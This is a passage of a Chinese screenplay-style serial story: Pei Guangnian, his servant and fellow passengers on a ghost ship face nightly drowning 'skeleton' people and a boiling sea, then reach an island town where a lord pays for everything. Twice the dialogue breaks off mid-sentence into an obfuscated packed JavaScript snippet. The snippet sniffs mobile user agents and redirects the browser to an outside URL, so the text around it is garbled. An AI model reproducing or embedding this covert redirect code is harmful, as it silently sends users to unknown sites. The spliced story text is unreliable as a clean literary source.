孔哲文:刘大哥,你的经历跟我简直是太像了!我回回参加考试,都以为自己能高中,可到了张榜的时候,上面却没有我的名字。唉! 小迢:(笑着对裴光年)少爷,您瞧这二位,像不像一对儿难兄难弟? 裴光年:他俩的样子,倒是让我想起以前被逐出家门、露宿街头的日子。唉,活在这个世上,都挺不容易,你就别取笑他们了。 博州,奉公岛 9-48 地宫(夜,内) 人物:桂雨尽 昏暗的烛光里,一个身穿黑衣、头戴面具的男人,端坐在桌前,面前摆放着一副尚未完成的画作,画作上有一艘黑漆漆的船,行驶在海面上。墙角处,有数只老鼠,正在啃食着盘中的血肉。 桂雨尽:苦海无边,回头是岸。裴大人,我给您准备的这道开胃菜还不错吧?那么接下来,该上汤了! 桂雨尽用针刺破手指,挤出几滴黑色的血,拿毛笔蘸了蘸,在纸上画了起来。 92.第九篇 猫皇大人 山与海 9-49 鬼船,船舱(夜,内) 人物:裴光年、小迢、楚胜男、刘添福 裴光年虽然闭着眼睛,却怎么也睡不着,心里还惦记着海底的那些白骨。 裴光年:那些白骨到底从哪里来?怎么会有那么多?他们都是谁?发生了什么事?……(想来想去,也想不出为什么,不由得叹了口气)唉,罢了!姓桂的案子还没办完,我哪里有空理会这些?等回到凌波港之后,我再把这件事告诉滕督察,让他来解决吧。不过话说回来,这艘船连个舵都没有,什么时候才能靠岸呀?…… 耳畔忽然传来一个声音。 “救命呀!救命呀!救命呀!……” 裴光年:怪了!怎么又是这个?难不成那三个家伙又落水了? 裴光年推了推身边的小迢。 裴光年:小迢!小迢! 小迢:(迷迷糊糊地睁开眼睛)少爷,怎么了?您是不是口渴了,我这就去给您倒杯水…… 小迢正要起身,却被裴光年按住。 裴光年:不是这个。小迢,你有没有听见什么声音? 小迢:声音?什么声音? 裴光年:像是有人在求救。 小迢:少爷,您怎么还惦记着那三个没良心的家伙呀?要我说,他们爱怎么跳都行!您又不是菩萨,怎么可能回回都去救他们。 裴光年:可刚才那个声音…… 小迢:钱贵不是被吓傻了吗?没准儿是他在说梦话呢! 裴光年:嗯,倒也是。 小迢:少爷,时候不早了,您快睡吧,别再胡思乱想了。 小迢翻了个身,又沉沉地睡了过去。裴光年也闭上眼睛,才眯了一小会儿,那个声音竟然又传了过来。 “救命呀!救命呀!救命呀!……” 裴光年猛地惊醒。 裴光年:不对呀,这个声音听上去不像是一个人发出来的,怎么回事? 裴光年有些不太放心,便悄悄地起了身,想出去看个究竟,却在门外,意外地碰上了楚胜男。 裴光年:楚姑娘? 楚胜男:裴公子?你怎么出来了?睡不着吗? 裴光年:哦,我刚才听见了一些奇怪的声音。 楚胜男:是不是有人在求救? 裴光年:咦,你也听见了? 门吱呀一声开了,刘添福也走了出来,嘴里不满地嘟哝着。 刘添福:唉,这个钱贵,大半夜里叫唤什么呀?还让不让人睡觉了? 当看见裴光年时,刘添福先是吓了一跳。 刘添福:呀,鬼呀! 裴光年:刘老板,别害怕,是我! 刘添福:噢,原来是裴公子呀!唉哟妈呀,吓死我了!(又看见了楚胜男)你俩站在这里干什么?想扮鬼吓人吗? 楚胜男:鬼船上若没有鬼,还能叫鬼船吗? “救命呀!救命呀!救命呀!……” 刘添福:唉,这个钱贵,怎么还没完没了了! 刘添福正要去叫醒三个水手,却被裴光年拦住。 裴光年:等等!刘老板,声音像是从外面传过来的。 刘添福:从外面传过来的? 楚胜男:(点点头)嗯,像是有很多人。 刘添福:(一听便慌了)很多人?什么意思?难不成这艘船上真的有鬼? 楚胜男:有没有,出去瞧瞧不就知道了。 刘添福:(摆摆手)我不去!你俩会功夫,还是你俩去吧。 “救命呀!救命呀!救命呀!……” 刘添福吓得躲回屋子里,冲着他俩喊道。 刘添福:你俩快去瞧瞧吧!若真有鬼,可一定要把它抓起来,千万别让它祸害人! 裴光年:(忍不住笑了)放心吧,刘老板!若真有鬼,我俩一定把它带回来,交给你发落。呵呵! 9-50 鬼船,甲板上(夜,外) 人物:裴光年、楚胜男、小迢、刘添福、孔哲文、王顺、赵宝、钱贵、求救者若干 裴光年和楚胜男来到甲板上,放眼望去,海里全是人,在大呼救命。 裴光年:(震惊)天哪!这些是…… 楚胜男:裴公子,你要是想救人的话,今晚可有得忙了。 裴光年:我一个人怕是不行,楚姑娘,你快去把他们都叫过来。 楚胜男返回船舱,一会儿便叫来了所有人。 刘添福:天哪!我是不是看错了?这些人把大海当成什么了?澡堂子吗? 孔哲文:我怎么觉得他们像饺子呢? 赵宝:他们若是饺子,咱们是什么?大酱吗? 裴光年拿来绳子,递给他们每人一根。 裴光年:咱们把绳子放下去,救他们上来! 刘添福正要照做,想了想又改变了主意。 刘添福:裴公子,这件事您是不是应该再考虑一下? 裴光年:考虑一下?刘老板,你没看见吗?这么多人马上就要淹死了! 刘添福:问题是咱们把他们救上来了,这艘船也载不动呀! 孔哲文:载不动的话,会怎样?原地打转吗? 刘添福:书呆子,这艘船要是沉了,咱们大家都完了! 王顺:(立刻丢掉手中的绳子)说得没错,这些人不能救! 赵宝:是啊,不能为了他们,搭上咱们的性命! 小迢:(对着三个水手)喂,你们这几个家伙,当初是怎么上来的,这么快就忘了呀?你们的命是命,他们的命就不是命吗? 王顺:正因为这样,咱们才更不能死了! 见众人不肯帮忙,裴光年只好对小迢道。 裴光年:小迢,他们不乐意就算了,咱俩来吧! 楚胜男:裴公子,你有没有觉得,这件事有点儿诡异? 裴光年:楚姑娘,救人要紧!你有什么话,还是以后再说吧! 楚胜男:这么多人,怎么可能同时落水?你想过没有? 王顺:是啊,除非所有的船都沉了,但这是不可能的事。 裴光年:楚姑娘,你到底想说什么? 楚胜男:裴公子,这一路上,咱们没遇见一艘船,却平白无故地遇见了许多白骨和许多人。试问,那些白骨从何而来?这些人又从何而来? 刘添福:这个谁知道呀,咱们不也才上船吗? 孔哲文:(突然开口)我知道! 楚胜男:哦,说来听听。 孔哲文:人死了之后,会变成白骨。这些人如果淹死了,也会沉入海底,变成白骨。如此以来,海底的白骨,不就是他们变的吗? 此话一出,众人都倒吸一口凉气。 刘添福:书呆子,别胡说!什么变不变的,吓死人了! 孔哲文:难道不是吗?那你倒是说说,这些人死了之后,会变成什么?鱼吗?…… 刘添福:(瞪孔哲文)你给我住嘴! 楚胜男:裴公子,你听见了没?若真如此,这些人是断然不能救了! 裴光年:如果他们不是呢?难道要咱们眼睁睁地看着他们淹死吗? 楚胜男:裴公子,你救得了他们的今天,救得了他们的明天吗?这艘船上的食物和水,远远不够;若没吃没喝,他们照样会死。你连自己都吉凶未卜,还想救谁呢? 9-51 鬼船,甲板上(日,外) 人物:裴光年、小迢、楚胜男、刘添福、孔哲文、王顺、赵宝、钱贵 求救声一波接着一波,船上的人彻夜难眠。天亮时分,声音嘎然而止,众人心下诧异,急忙出去查看。海面上一片平静,像是什么都没发生过。 孔哲文:咦,人呢?怎么全没了? 刘添福:就算被淹死了,也该有具尸体吧。 孔哲文:会不会被海浪卷走了? 王顺:从昨晚到现在,这艘船几乎没怎么动过,若有大风大浪,咱们不可能不知道。 小迢:(冷笑一声)你们这些家伙,心里是怎么想的?昨晚那些人向你们求救的时候,你们无动于衷,如今却想寻找他们的尸体,真可笑! 刘添福:小伙子,昨晚不是说了吗?那些人都是白骨变的,不能救! 王顺:是啊,若把他们救上来了,再祸害咱们,怎么办?我可不想被他们吃了! 裴光年:可我还是不信这世上有鬼!更何况,如果那些人真是白骨变的,为何白天不出现? 刘添福:白天有太阳,他们不敢来,怕现了原形。 孔哲文:晚上还有月亮呢! 刘添福:正因为有了月亮,他们才会变成人的模样。 孔哲文:你连这个都懂? 刘添福:我哪里会懂这个,只不过小的时候,大人们常常拿这个来吓唬我。只是没想到,竟然真被我遇见了,唉! 楚胜男:不知道今晚他们还会不会再来? 刘添福:千万别!我一想到跟他们之间,只隔着一层夹板,心里就直发怵。 小迢:如果他们上来了,怎么办? 王顺:船身这么光滑,只要咱们不把绳子放下去,他们就上不来。 刘添福:说对了!我这就去把绳子都藏起来,让他们谁也找不到! 9-52 鬼船,甲板上(日,外) 人物:裴光年、小迢、楚胜男 日头渐渐落下。 裴光年:天快要黑了。 小迢:少爷,事到如今,您是否后悔当初的决定呢? 裴光年:什么决定? 小迢:来鬼船上呀! 裴光年:你说对了,我现在后悔极了!早知道这是一趟不知何时才会结束的旅程,当初我就该多带些东西上来,尤其是咱们梅州产的融雪茶,早上若不能来一杯的话,一天都觉得没精神! 小迢:少爷,临死之前,您还想不想再见少奶奶一面呢? 裴光年:(脚踢小迢)臭小子,又在煞风景! 楚胜男也来到了船头。 楚胜男:(冲他点点头)裴公子。 裴光年:哦,楚姑娘,你也来了呀? 楚胜男:天快要黑了,你们怎么还待在甲板上? 裴光年:我想看看海上的日落。 楚胜男:裴公子,关于这艘船的事情,你应该也听闻过吧? 裴光年:略知一二,怎么了? 楚胜男:那些无缘无故消失的乘客,跟海底的那些白骨,是否有关联? 裴光年:你的意思是,海底的白骨就是他们? 楚胜男:(目露忧伤)我哥会不会也在这些人里面? 裴光年:你哥才走了三个月,应该没那么快。 楚胜男:(眯起眼)裴公子,你是不是知道些什么?我记得你说过,你也是来找人的,那个人是谁? 裴光年:(顿了顿)哦,是……一个老熟人,呵呵。 9-53 鬼船,甲板上(夜,外) 人物:裴光年、小迢、楚胜男、刘添福、孔哲文、王顺、赵宝、钱贵、求救者若干 夜已深,海面上依旧一片平静。 小迢:(连打了几个哈欠)少爷,这么晚了,那些人到底还来不来? 裴光年:你要是困了,就回去睡吧。(对着楚胜男)楚姑娘,你也回去吧,这里有我呢! 楚胜男:我不困!我当镖师的时候,也经常走夜路,早就习惯了。 裴光年:你一个女孩子,当镖师一定很不容易吧? 楚胜男:为何这样说?就因为我是个女孩子吗? 裴光年:哦,不是。楚姑娘,我并没有瞧不起你的意思。 楚胜男:你嘴上虽这么说,心里其实跟别的男人一样,认为咱们女人这也不行、那也不行,这也不如你们、那也不如你们,对不对? 小迢:(忍不住插嘴)女人在很多方面也确实不如男人嘛! 楚胜男:哪些方面? 小迢:比如说,女人的力气远不如男人。 楚胜男:是吗?(上前一个过肩摔,将小迢重重地拋在地上)现在你还这么认为吗? 小迢:(揉着被摔疼的屁股)唉哟哟,疼死了!(见裴光年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009217|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在笑,忍不住埋怨)少爷,我被她欺负了,您怎么还在笑啊? 裴光年:我要是不笑的话,你不就更难堪了?哈哈哈! 刘添福等人也来到了甲板上。 裴光年:咦,你们不是害怕吗?怎么也来了? 刘添福:原先是有些害怕,因为没想到自己这辈子竟然能遇上鬼。不过再一想,他们虽然近在眼前,却奈何不了咱们,如此以来,我不仅不害怕,反倒还有些嘚瑟了,嘿嘿! 孔哲文:回去之后,我一定要把这段经历写成书,让每个人都知道,这世上确实有鬼。 刘添福:书呆子,你不想死了吗? 孔哲文:就算是死,也要先把书写完了。 楚胜男:那你现在就动笔吧!(众笑) 小迢:(指着海面)少爷,您瞧!下面有好多泡泡! 众人上前一看,只见四周的海面上,莫名地冒出许多小水泡。 刘添福:什么东西?是不是鱼? 孔哲文:这么多小水泡,该有多少条鱼呀? 一个人头突然从水里钻了出来,吓了众人一跳。 “救命呀!救命呀!救命呀!……” 那个人看见船上的灯光,立马朝这边游了过来,并且大呼救命。与此同时,那些水泡的下面,纷纷冒出一个又一个的人头。 小迢:是他们!他们来了! 楚胜男:裴公子,你看见没?这些人不是被海浪送来了这里,而是从水底下突然冒了出来。 裴光年:(点点头)没错,也许他们真的是海底的那些白骨变的。 见那些人朝这边游了过来,刘添福不仅不害怕,反倒笑了起来。 刘添福:(冲着水里的人喊)喂喂喂,你们这些家伙,有本事的话,就自己上来吧! 楚胜男:刘老板,你这样不太好吧。 小迢:是啊,他们在水里挣扎,你却在船上哈哈大笑,太没良心了吧? 刘添福:问题是他们不是人呀! 孔哲文:他们虽然不是人,可每天都像这样死去又活来、活来又死去,实在是太难受了。 刘添福:你要是心疼他们,不如就把绳子放下去,救他们上来呗。 孔哲文:绳子都被你藏了起来,我哪里找得到呀! 刘添福:那就只能干瞪眼了,哈哈哈! 船身忽地颠簸了一下,刘添福脚没站稳,跌进水里。 “啊!救命呀!救命呀!” 这下轮到刘添福喊救命了。 裴光年:快去找绳子! 众人找了一圈,也没发现绳子。 楚胜男:找不到绳子,怎么办? 裴光年:刘老板不会水,我先下去托住他,你们接着找! 小迢:少爷,您等等! 话没出口,裴光年已经跳了下去。 小迢:少爷,您干嘛这么急呀?您也不想想,要是咱们找不到绳子怎么办? 裴光年下去后,便将刘添福从水里托出,与此同时,之前的那些人,也游到了他俩面前。 刘添福:啊!你们别吃我!(紧紧地抓住裴光年)裴公子,快救我! 裴光年:刘老板,你别乱动!不然的话,咱俩都会死! 那些人似乎对他俩并不感兴趣,只瞥了他俩一眼,又继续向船上的人求救,裴光年这才松了口气。 裴光年:刘老板,你把绳子都藏到哪里去了? 刘添福:我把它们全扔进水里了。 裴光年:(大吃一惊)全扔进水里了? 刘添福:对呀! 裴光年:一根也没留下? 刘添福:这样才最稳妥嘛! 裴光年:(傻眼)完了!这下连咱俩也上不去了! 9-54 鬼船,甲板上(夜,外) 人物:小迢、楚胜男、孔哲文、王顺、赵宝、钱贵 船上的人,正在为找不到绳子急得不知所措。 小迢:这个死胖子,到底把绳子藏哪去了? 楚胜男:咱们把所有的地方都找遍了,也没发现一根绳子。怎么会这样? 孔哲文:除了绳子之外,还有没有别的办法救他们上来? 王顺:咱们快把衣裳脱下来,绑在一块儿,做成绳子递给他们。 众人立刻照办,绳子很快便做好了。 小迢:少爷!快抓住这个,我把你们拉上来! 没等裴光年伸出手,旁边的那些人已经涌了过来,纷纷抓住绳子往上爬。因为他们人太多,裴光年和刘添福竟被挤了出去。 刘添福:(冲着那些人喊)喂!你们这些家伙,快松开!那条绳子不是给你们的! 那些人根本不理会刘添福,只拼了命地往上爬。 楚胜男:糟糕!他俩没抓住绳子! 孔哲文:怎么办?那些家伙要上来了! 王顺:他们不肯松手,只好咱们先松手了! 小迢:(带着哭腔)咱们只剩下这一条绳子了,一旦松手,少爷就上不来了! 下面的人越来越多,都想抓住那条绳子,只听嘶啦一声,绳子断掉了。 刘添福:裴公子,怎么办呀?他们把绳子弄断了,咱俩也上不去了! 裴光年:刘老板,你有没有觉得,水好像变暖了? 刘添福:变暖了?那又怎样?只要咱俩能回到船上去,这水就算是煮开了,也跟咱俩没关系! 裴光年:我担心的就是这个。 刘添福:什么意思? 裴光年:这水要是真的煮开了,咱俩不也熟了吗? 博州,奉公岛 9-55 地宫(夜,内) 人物:桂雨尽 望着画上的船,桂雨尽摇了摇头。 桂雨尽:裴大人,您的善心,把您送上了绝路。唉,怎么办呢?我是否应该念在往日的情分上、给您一点点希望呢? 桂雨尽扫了一眼桌面,见右手边有个山形的笔架,便拿过来,放在船的前方。神奇的是,画上的波涛竟荡漾开来,笔架一点一点地融进了画里,变成一座小山。 93.第九篇 猫皇大人 山与海 9-56 海里(夜,外) 人物:裴光年、小迢、刘添福 水热得很快,裴光年和刘添福已是满脸通红。 裴光年:刘老板,以后若有机会,可一定要去一趟梅州,那里的温泉,可比这舒服多了! 刘添福:(哭丧着脸)裴公子,咱俩眼看着就要变成水煮鱼了,你怎么还有心情说这个呀! 上面传来小迢的声音。 “少爷!前面有个岛,快游过去!” 裴光年放眼一看,前方不远处,果然有团黑乎乎的东西,模样像座小山。来不及多想,他带着刘添福,奋力游了过去。刚上岸,却听身后传来一声喊。 “少爷,等等我!” 裴光年回头一看,竟是小迢,他也游了过来。 裴光年:小迢,你怎么也来了?谁让你下来的? 小迢:之前咱俩说好了,您在哪里,我就在哪里。如今您不在船上了,我当然也要下来了! 裴光年:你呀你,真是太不懂事了。唉! 海面上已是热气蒸腾,来不及上岸的那些人,发出声声惨叫,他们的皮肉剥离,变成一具具白骨。岸上的人和船上的人见了,无不惊惧万分。 9-57 山形小岛(夜,外) 人物:裴光年、小迢、刘添福 上岸之后,刘添福大哭不止。 小迢:刘老板,咱们不是已经没事了吗?你还哭什么呀? 刘添福:呜呜,我替我自己感到不值!呜呜,我原以为上了鬼船,顶多只是在船上遇到鬼,却没想到这海里竟然到处都是鬼,连带着我自己也差点儿变成了鬼!呜呜,早知道这样,当初还不如让他们把我的手和脚都砍断了呢! 裴光年:大难不死,必有后福。刘老板,只要咱们还活着,就有希望离开这里。 刘添福:怎么离开?再回到那艘鬼船上去吗? 裴光年:那得看它愿不愿意让我们上去了。 小迢:少爷,您打算怎么办? 裴光年:前面有片林子,咱们去找些树枝来,扎成筏子,看能不能追上那艘船。 刘添福:真的要回去呀?如果每天晚上,海面上都是那个样子,咱们就算活着,心里也不痛快呀! 小迢:这下你还笑得出来吗? 刘添福:我哪知道他们会被活活烫死呀,唉,真是太惨了! 三个人走进林子里,却意外地看见不远处,出现点点火光。 刘添福:什……什么东西?这个岛上不会也有鬼吧? 小迢:若没有的话,才令人意外呢! 裴光年:要不咱们过去瞧瞧? 刘添福:裴公子,多一事不如少一事。等咱们从那边回来,只怕船早就没影了。 裴光年:我倒是觉得那艘船像是有它的心思,它想找我们的时候,自然会出现。 小迢:什么意思? 裴光年:换句话说,如果它不想咱们上去,咱们就算是插上翅膀,也追不上它。 刘添福:也就是说,连那艘船也是鬼变的?呜呜,没想到咱们竟然掉进鬼窝里来了! 裴光年:小鬼已经见着了,接下来,该去捉大鬼了! 9-58 鬼船,船舱(夜,内) 人物:楚胜男、孔哲文、王顺、赵宝、钱贵、林涛 目睹了海上那些人的惨状,船上的人心情也十分沉重,他们不忍再看海面上漂浮的森森白骨,便转身回船舱。走到半路,楚胜男突然停下脚步,警惕地望着四周。 楚胜男:等等! 孔哲文:怎么了? 楚胜男:有人上来了。 众人大惊失色。 王顺:不会吧,刚才那根绳子不是断掉了吗? 楚胜男:(望着船的另一端)人是从这边上来的。 孔哲文:没有绳子也能上来?这人是谁?猴子吗? 楚胜男:(指着从船的另一端延伸过来的水渍)你们瞧!地上有脚印,他进船舱里去了。 孔哲文:啊!怎么办?他会不会吃了咱们? 楚胜男:裴公子和刘老板在水里待了那么久,也没被他们吃掉,也许他们只是想上船而已。 孔哲文:上了船之后呢?是不是就要祸害人了? 楚胜男:谁知道呢!要不咱们进去瞧瞧? 孔哲文:不不不,我不去!楚姑娘,你会功夫,还是你去吧! 楚胜男:书呆子,你的语气跟刘老板还真是一模一样啊! 孔哲文:裴公子他们不在,接下来,咱们只能靠你了。 楚胜男:唉,难怪人们常说“百无一用是书生”呢! 楚胜男独自进了船舱,一会儿,里面传来噼里啪啦的声音,伴随着一个男人的惨叫。 王顺:楚姑娘说的没错,里面真的有人! 孔哲文:叫得这么惨,他好像打不过楚姑娘。 王顺:要不咱们也过去搭把手? 孔哲文:咱们不会功夫,去了只能给人家当陪练。 王顺:那你可要想好了,楚姑娘若是出了什么事,谁来保护咱们? 孔哲文:那……行吧。 众人蹑手蹑脚地走进船舱,这才发现那个人已被楚胜男制伏,摁在了地上。 林涛:这位姑娘,我没有恶意,求您放过我吧! 楚胜男:你身上穿的是刘老板的衣裳,还敢说你没有恶意? 林涛:我从水里爬上来,浑身都湿透了,所以才进来找了件衣裳。 楚胜男:你是怎么上来的? 林涛:爬上来的呀! 楚胜男:没有绳子你也能爬上来,本事挺大呀! 林涛:这位姑娘,您能不能先松开手?我这样被您摁着,喘不过来气呀! 孔哲文:楚姑娘,千万别松开!谁知道他到底是好人还是坏人呢? 林涛:我真的没有恶意!我刚才向你们求救,你们没听见,我见那边人太多,只好游到了另一边。 楚胜男:你是怎么上来的? 林涛:爬上来的呀! 楚胜男:用的什么?手和脚吗? 林涛:这位姑娘,您能不能先放开我?我真的有点儿喘不过气了!咳咳咳! 见他的脸确实有些红,楚胜男便松开了手。 楚胜男:快说!你到底是怎么上来的? 王顺:是啊,若不把话说明白了,咱们会把你再丢进海里,跟那些尸骨做伴儿! 孔哲文:海水这会儿正烫着呢,想不想下去试试? 林涛:这里是什么地方? 这一问,倒把众人愣住了。 孔哲文:你问我们?我们还想问你呢!这里是什么地方? 林涛:我也不太清楚。我只知道我醒来时,便发现自己在水里,看见船上的的灯光之后,方才游了过来。 楚胜男:你还没说你是怎么上来的呢! 林涛:我这个人极擅攀爬,悬崖峭壁对我来说,都不在话下,更别说这艘船了。唉,可惜我只能救我自己,救不了别的人。 楚胜男:你是怎么掉进水里去的?还记得吗? 林涛:(皱着眉头想了想)我跟一个朋友相约去爬天琴山…… 楚胜男:天琴山?那不是在越州境内吗? 林涛:对呀,我是越州人。 楚胜男:可这里是博州。 林涛:(吃了一惊)博州?不会吧,我还从来没去过博州呢! 孔哲文:你在越州爬山,却掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009218|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了博州的海里?你是不是在撒谎呀? 王顺:我倒是觉得他的经历跟我们挺像,明明在另一个地方,却莫名其妙地被送来了这里。 孔哲文:(对着王顺)你们的运气比他好,至少还活着。 林涛:(不解地)什么意思? 钱贵:(突然惊恐地大叫)白骨!好多白骨!好多好多白骨呀!…… 王顺:(捂住钱贵的嘴)臭小子,快闭嘴! 林涛:哦,那些白骨我也看见了,简直太可怕了!我要是上来晚了,岂不是也会变成他们那样?这里到底是什么地方?为何会有这样的事? 孔哲文:唉,我们也很想知道呀! 9-59 山形小岛,街道上(夜,外) 人物:裴光年、小迢、刘添福、岛民若干 山的背面,竟有一个小镇,灯火通明,人来人往,繁华的景象,令裴光年等人惊诧不已。 刘添福:天哪!咱们是不是回到人世间了? 小迢:这么快?可能吗? 刘添福:有何不可?当初咱们上了鬼船之后,不也是在一夜之间就到了这里吗? 裴光年:刘老板,你见多识广,知道该如何分辨人与鬼吗? 刘添福:我听老人们说,人死了之后,一旦变成了鬼,哪怕尚有人的形状,却没有影子。 裴光年:除了这个,还有什么? 刘添福:他们最怕雄鸡的叫声。 裴光年:(点点头)嗯,明白了。(见众人都浑身湿透)唉,咱们的样子实在是太狼狈了,还是先弄身衣裳换上吧! 小迢:少爷,咱们好像没带钱。 裴光年:又是钱?(一脸的无奈)唉,我怎么回回都被它难住了。 刘添福:那个……我这里倒是有一些,不过你们必须省着点儿花。 小迢:刘老板,你不是还欠着人家的钱吗? 刘添福:临走之前,我把我全部的家当都带上了。 裴光年:这么说,你是没打算还了? 刘添福:那些人放的可是高利贷,我有钱也还不起呀! 小迢:既如此,当初又何必找他们借呢? 刘添福:因为除了他们之外,没人肯借给我呀。 裴光年:不是还有钱庄吗?你怎么没找他们借? 刘添福:找钱庄借钱,得先用东西来抵押,我两手空空,人家一看就不会答应。 裴光年:(压低声音对小迢)小迢,我突然有了一个主意。 小迢:什么? 裴光年:等回去之后,咱们把督察府的房子抵押给钱庄,不就有钱了? 小迢:咦,也是啊。不过少爷,咱们拿什么来还呀? 裴光年:(皱着眉头想了想)额……这么艰巨的任务,还是交给下一任督察大人吧。 9-60 鬼船,船舱(夜,内) 人物:楚胜男、孔哲文、林涛、王顺、赵宝、钱贵 林涛像是累极了,很快便呼呼大睡。 王顺:楚姑娘,你说他会不会趁着咱们睡着了之后,偷偷地干坏事呀? 楚胜男:不好说。 孔哲文:要不咱们轮流看着他吧。 楚胜男:看着他,他就没法干坏事了。 王顺:那怎么办? 楚胜男:给他一个机会,看看他到底想怎样。 楚胜男说完,便回屋睡觉去了。 博州,奉公岛 9-61 地宫(夜,内) 人物:桂雨尽 桂雨尽打量着画中的山形小岛。 桂雨尽:喝完了汤,接下来该吃什么了?猪肉、牛肉还是羊肉?呵呵呵…… 桂雨尽发出一声狞笑,又接着画了起来。 94.第九篇 猫皇大人 山与海 9-62 山形小岛,街道上(夜,外) 人物:裴光年、小迢、刘添福、岛民若干 裴光年等人在街上寻找卖衣裳的店铺。 小迢:(指着路人)少爷,您瞧!这些人的身后都有影子。 裴光年:这么说,他们不是鬼?既如此,为何会住在这里?他们不知道自己的邻居是谁吗? 小迢:要不我去问问他们。 裴光年:嗯,也行。 小迢拦住几个路人,向他们一一打听,路人先是一愣,接着便哈哈大笑。 过了一会儿,小迢闷闷不乐地回来了。 裴光年:那些人怎么说? 小迢:他们都以为我是个疯子。 裴光年扑哧一笑。 小迢:少爷,您是不是早就知道他们会这么想?既如此,您还让我去问什么呀? 裴光年:我也没料到他们会对那边的事情一无所知,(回头望了望山峰)难道是被这座山挡住了? 小迢:这座山又不是很大,想翻过去一点儿也不难。依我看,他们肯定在装。 裴光年:装?呵呵,那就更麻烦了。 小迢:什么意思? 裴光年:连鬼都不怕,会是一群什么样的人呢? 9-63 山形小岛,成衣铺子(夜,内) 人物:裴光年、小迢、刘添福、成衣铺子老板 见街上有家成衣铺子,裴光年等人便进去选购。 刘添福:这件衣裳不错,穿上去刚刚好。老板,多少钱?你给我算便宜点儿! 成衣铺子老板:(连头都不抬)不要钱。 刘添福:(以为自己听错了)不要钱? 成衣铺子老板:对呀,不要钱。 刘添福:真的假的? 成衣铺子老板:什么真的假的?我说不要钱就是不要钱。 小迢:(也拿着一件衣裳问老板)他那件不要钱,我这件呢? 成衣铺子老板:也不要钱。 小迢:也不要钱? 众人面面相觑,刘添福又指着旁边的几件衣裳问道。 刘添福:那这几件呢?要不要钱? 成衣铺子老板:全都不要钱。 众人吓了一跳。 刘添福:全都不要钱?什么意思?难不成你这家店里的衣裳都白送呀? 成衣铺子老板:(点点头)没错,就是白送。 小迢:老板,你开店做生意,不要钱能行吗?你是不是在跟我们开玩笑啊? 成衣铺子老板:嘿嘿,这位小哥,开店做生意当然是为了赚钱。不过今儿你们来得正是时候,岛上所有的东西,全都不要钱。 刘添福:全都不要钱?为何? 小迢:是啊,全都不要钱的话,岂不是要亏死了? 成衣铺子老板:这个用不着担心,有人会替你们结账。 小迢:老板,你是不是认错人了?我们几个今儿才头一回来这里。 成衣铺子老板:不只是你们,任何人来这里买衣裳,都是一样不要钱。 刘添福:老板,你可真是太仁义了!既然这样,我可要多拿几件了! 成衣铺子老板:随便拿! 裴光年:老板,你刚才说有人会替我们结账,这个人是谁呀? 成衣铺子老板:这个人就是咱们的岛主东郭先生。 裴光年:东郭先生? 成衣铺子老板:今日是他的寿辰。每年的这个时候,他都会大行善举,岛上所有吃的喝的穿的用的,全都由他一个人买单。 刘添福:原来是这样。这么好的事,怎么让咱们几个赶上了?(朝裴光年竖起大拇指)裴公子,您说的没错,大难不死真有后福! 裴光年:呵呵,是啊,来得早不如来得巧嘛! 三个人继续选购衣裳,刘添福想了想,问成衣铺子老板。 刘添福:老板,你这里有貂吗? 成衣铺子老板:貂? 刘添福:对呀,就是那种用毛皮制成的衣裳,摸上去软乎乎的,可带劲儿了! 老板:哦,有啊。 刘添福:真的有啊? 成衣铺子老板:对呀。只不过这个季节没人会买这个,所以就收起来了。您要是想要的话,我拿出来给您瞧瞧。 刘添福:快拿出来! 成衣铺子老板:好嘞,您稍等。 趁着老板进屋里拿衣裳的工夫,小迢对刘添福道。 小迢:刘老板,天这么热,你真打算穿着一身貂走在大街上呀? 刘添福:有何不可?女人在冬天不也照样穿着裙子吗? 小迢:你就不怕把自己给捂出毛病了? 刘添福:我刚刚在水里泡了半天,里里外外都凉透了,不穿貂的话,冻坏了怎么办? 小迢:那水不是热得直冒烟吗? 刘添福:热过之后,不就凉了吗?东郭先生大行善举,若无人捧场,岂不是很没面子?我这样做,可是为了成全他哟! 9-64 山形小岛,酒楼(夜,内) 人物:裴光年、小迢、刘添福、酒楼伙计 买完了衣裳,裴光年等人又觉得有些饿,便找了家酒楼吃东西。 小迢:有没有鸡? 酒楼伙计:有啊。公鸡烧肉、母鸡炖汤,客官您想吃哪种? 刘添福:真的有啊? 酒楼伙计:对呀,怎么了? 刘添福:是不是现杀的? 酒楼伙计:这个您放心,若不是现杀的,小店还不敢卖呢! 刘添福:那敢情好,就公鸡母鸡一样来一只。 酒楼伙计:好嘞!除了这个,客官您还想吃什么? 刘添福:你这里还有什么? 酒楼伙计:我们这里是海岛,当然是以海味儿为主。 刘添福:海味儿?有什么? 酒楼伙计:鲍鱼海参龙虾帝王蟹,只要是海里的东西,要什么有什么。 小迢:(低声问刘添福)刘老板,这些东西没准儿是从那片海里捞上来的,你敢吃吗? 刘添福:偶尔吃上一回,死不了!(问酒楼伙计)这些东西都不要钱吗? 酒楼伙计:您尽管敞开了吃,一文钱都不用给! 刘添福:天哪,咱们几个的运气可真是太好了!伙计,每样都给咱们来一份!哦,不对,是来三份! 酒楼伙计:好嘞!客官您稍等,菜马上就好! 伙计转身要走,又被刘添福叫住。 刘添福:等等! 酒楼伙计:怎么了客官?您还有什么吩咐? 刘添福:你给我拿个盆来。 酒楼伙计:盆? 刘添福:没有盆的话,水缸也行。 